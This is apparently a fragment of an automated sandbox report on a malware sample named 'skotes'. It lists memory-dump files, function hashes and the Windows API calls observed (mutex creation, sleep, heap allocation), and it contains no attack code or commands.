Source File: 00000004.00000002.2316349454.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000004.00000002.2316321621.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316349454.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316468853.0000000000A39000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316488144.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316508563.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316612973.0000000000B98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316631356.0000000000B9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316654517.0000000000BAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316654517.0000000000BBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316698630.0000000000BC7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316716944.0000000000BC8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316734579.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316856447.0000000000BD4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316897995.0000000000BD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316922072.0000000000BD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316948303.0000000000BED000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316968325.0000000000BEE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316988334.0000000000BEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317008974.0000000000BF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317028964.0000000000BF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317049336.0000000000BFF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317078364.0000000000C15000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317098475.0000000000C17000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317118286.0000000000C21000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317137400.0000000000C26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317157860.0000000000C27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317177769.0000000000C2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317195533.0000000000C2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317216972.0000000000C31000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317237390.0000000000C39000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317257769.0000000000C3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317278477.0000000000C46000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317298601.0000000000C4B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317318907.0000000000C4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317339350.0000000000C4F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317360861.0000000000C56000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317385204.0000000000C58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317408823.0000000000C72000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317429451.0000000000C74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317429451.0000000000C99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317489627.0000000000CAF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317511839.0000000000CB1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317532999.0000000000CC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317556310.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317577956.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317596151.0000000000CCB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317619922.0000000000CDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317643116.0000000000CDC000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 9090755099b95e2280ab54db843d0fe246c99129e41a7d2ba1f214f3959d6e26
Instruction ID: 46cb09500919e0a90b743f30735b389f67654475037623283cbccf7247061e22
Opcode Fuzzy Hash: 9090755099b95e2280ab54db843d0fe246c99129e41a7d2ba1f214f3959d6e26
Instruction Fuzzy Hash: 2E217C326852009BFB18ABACECC5B6DF365EBD1314F20861AF414D73E4C77599908612

Function 009DA856 Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 009DA963
CreateMutexA.KERNELBASE(00000000,00000000,00A33254), ref: 009DA981

Memory Dump Source

Source File: 00000004.00000002.2316349454.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000004.00000002.2316321621.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316349454.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316468853.0000000000A39000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316488144.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316508563.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316612973.0000000000B98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316631356.0000000000B9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316654517.0000000000BAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316654517.0000000000BBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316698630.0000000000BC7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316716944.0000000000BC8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316734579.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316856447.0000000000BD4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316897995.0000000000BD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316922072.0000000000BD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316948303.0000000000BED000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316968325.0000000000BEE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316988334.0000000000BEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317008974.0000000000BF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317028964.0000000000BF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317049336.0000000000BFF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317078364.0000000000C15000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317098475.0000000000C17000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317118286.0000000000C21000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317137400.0000000000C26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317157860.0000000000C27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317177769.0000000000C2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317195533.0000000000C2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317216972.0000000000C31000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317237390.0000000000C39000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317257769.0000000000C3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317278477.0000000000C46000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317298601.0000000000C4B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317318907.0000000000C4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317339350.0000000000C4F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317360861.0000000000C56000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317385204.0000000000C58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317408823.0000000000C72000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317429451.0000000000C74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317429451.0000000000C99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317489627.0000000000CAF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317511839.0000000000CB1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317532999.0000000000CC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317556310.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317577956.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317596151.0000000000CCB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317619922.0000000000CDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317643116.0000000000CDC000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 2ca85d1053ec9512e71007dad3c5fac7d7425e061c512256763cad660f4ece98
Instruction ID: 28bb6b74df396e7c0a341960824f5316604a31e07c1b49177403a97570674055
Opcode Fuzzy Hash: 2ca85d1053ec9512e71007dad3c5fac7d7425e061c512256763cad660f4ece98
Instruction Fuzzy Hash: D7214B312C92019AFB2467EC9C9673DB2169FC1300F208D17F904D63D1DB7A8A9191A3

Function 009DA34F Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 009DA963
CreateMutexA.KERNELBASE(00000000,00000000,00A33254), ref: 009DA981

Memory Dump Source

Source File: 00000004.00000002.2316349454.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000004.00000002.2316321621.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316349454.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316468853.0000000000A39000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316488144.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316508563.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316612973.0000000000B98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316631356.0000000000B9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316654517.0000000000BAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316654517.0000000000BBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316698630.0000000000BC7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316716944.0000000000BC8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316734579.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316856447.0000000000BD4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316897995.0000000000BD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316922072.0000000000BD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316948303.0000000000BED000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316968325.0000000000BEE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316988334.0000000000BEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317008974.0000000000BF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317028964.0000000000BF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317049336.0000000000BFF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317078364.0000000000C15000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317098475.0000000000C17000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317118286.0000000000C21000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317137400.0000000000C26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317157860.0000000000C27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317177769.0000000000C2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317195533.0000000000C2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317216972.0000000000C31000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317237390.0000000000C39000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317257769.0000000000C3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317278477.0000000000C46000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317298601.0000000000C4B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317318907.0000000000C4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317339350.0000000000C4F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317360861.0000000000C56000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317385204.0000000000C58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317408823.0000000000C72000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317429451.0000000000C74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317429451.0000000000C99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317489627.0000000000CAF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317511839.0000000000CB1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317532999.0000000000CC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317556310.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317577956.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317596151.0000000000CCB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317619922.0000000000CDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317643116.0000000000CDC000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 2cea65398104ee512895297b3da4628d27e39117de82221837550123053f3bcd
Instruction ID: b8ba72b4ed9d5db5907e6205041884a8e1b7ff795fc21a64d538625822cc4c86
Opcode Fuzzy Hash: 2cea65398104ee512895297b3da4628d27e39117de82221837550123053f3bcd
Instruction Fuzzy Hash: 80217C326852009BFB18DBACEC8576DF766DBD2314F24861AF404D73E0C7765A908753

Function 00A0D82F Relevance: 1.5, APIs: 1, Instructions: 40
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00A0A813,00000001,00000364,00000006,000000FF,?,00A0EE3F,?,00000004,00000000,?,?), ref: 00A0D870

Memory Dump Source

Source File: 00000004.00000002.2316349454.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000004.00000002.2316321621.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316349454.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316468853.0000000000A39000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316488144.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316508563.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316612973.0000000000B98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316631356.0000000000B9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316654517.0000000000BAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316654517.0000000000BBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316698630.0000000000BC7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316716944.0000000000BC8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316734579.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316856447.0000000000BD4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316897995.0000000000BD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316922072.0000000000BD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316948303.0000000000BED000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316968325.0000000000BEE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316988334.0000000000BEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317008974.0000000000BF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317028964.0000000000BF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317049336.0000000000BFF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317078364.0000000000C15000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317098475.0000000000C17000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317118286.0000000000C21000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317137400.0000000000C26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317157860.0000000000C27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317177769.0000000000C2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317195533.0000000000C2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317216972.0000000000C31000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317237390.0000000000C39000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317257769.0000000000C3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317278477.0000000000C46000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317298601.0000000000C4B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317318907.0000000000C4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317339350.0000000000C4F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317360861.0000000000C56000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317385204.0000000000C58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317408823.0000000000C72000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317429451.0000000000C74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317429451.0000000000C99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317489627.0000000000CAF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317511839.0000000000CB1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317532999.0000000000CC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317556310.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317577956.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317596151.0000000000CCB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317619922.0000000000CDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317643116.0000000000CDC000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 420ed5d8bab9d22a7bc21c4d47ecb6cf061fb87e73e7067843cf51dafaf007b5
Instruction ID: 67f91b8d2b481e879d11a2e3b79c203dca1ce743f0a447533d18f7ac58178ad0
Opcode Fuzzy Hash: 420ed5d8bab9d22a7bc21c4d47ecb6cf061fb87e73e7067843cf51dafaf007b5
Instruction Fuzzy Hash: EDF0AE33A4512D66EB216BF6BD01A5B3759DF41770F19C121FC04A71D1DA30EC1985E1

Non-executed Functions

Function 009D2EC0 Relevance: 7.8, APIs: 5, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 009D2F5F
__Mtx_unlock.LIBCPMT ref: 009D2FCC
__Cnd_broadcast.LIBCPMT ref: 009D2FE3
__Mtx_unlock.LIBCPMT ref: 009D30F5
__Mtx_unlock.LIBCPMT ref: 009D319B

Memory Dump Source

Source File: 00000004.00000002.2316349454.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000004.00000002.2316321621.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316349454.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316468853.0000000000A39000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316488144.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316508563.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316612973.0000000000B98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316631356.0000000000B9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316654517.0000000000BAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316654517.0000000000BBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316698630.0000000000BC7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316716944.0000000000BC8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316734579.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316856447.0000000000BD4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316897995.0000000000BD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316922072.0000000000BD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316948303.0000000000BED000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316968325.0000000000BEE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2316988334.0000000000BEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317008974.0000000000BF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317028964.0000000000BF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317049336.0000000000BFF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317078364.0000000000C15000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317098475.0000000000C17000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317118286.0000000000C21000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317137400.0000000000C26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317157860.0000000000C27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317177769.0000000000C2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317195533.0000000000C2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317216972.0000000000C31000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317237390.0000000000C39000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317257769.0000000000C3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317278477.0000000000C46000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317298601.0000000000C4B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317318907.0000000000C4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317339350.0000000000C4F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317360861.0000000000C56000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317385204.0000000000C58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317408823.0000000000C72000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317429451.0000000000C74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317429451.0000000000C99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317489627.0000000000CAF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317511839.0000000000CB1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317532999.0000000000CC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317556310.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317577956.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317596151.0000000000CCB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317619922.0000000000CDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2317643116.0000000000CDC000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcast
String ID:
API String ID: 32384418-0
Opcode ID: aaeb2ecd1f3921bdbf725b527bb4b50f020e603a35153608321ad392b7f4f219
Instruction ID: 8e8858656a8179b95cccdfcac2b5239f84e7007bf66fe60e426a883a20da9d65
Opcode Fuzzy Hash: aaeb2ecd1f3921bdbf725b527bb4b50f020e603a35153608321ad392b7f4f219
Instruction Fuzzy Hash: 5AA11FB0A45246AFDB21DFA5C84479AB7B8FF55311F00C62AE815D7381EB31EA05CBD2

Function 00A0CBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00A0CC66
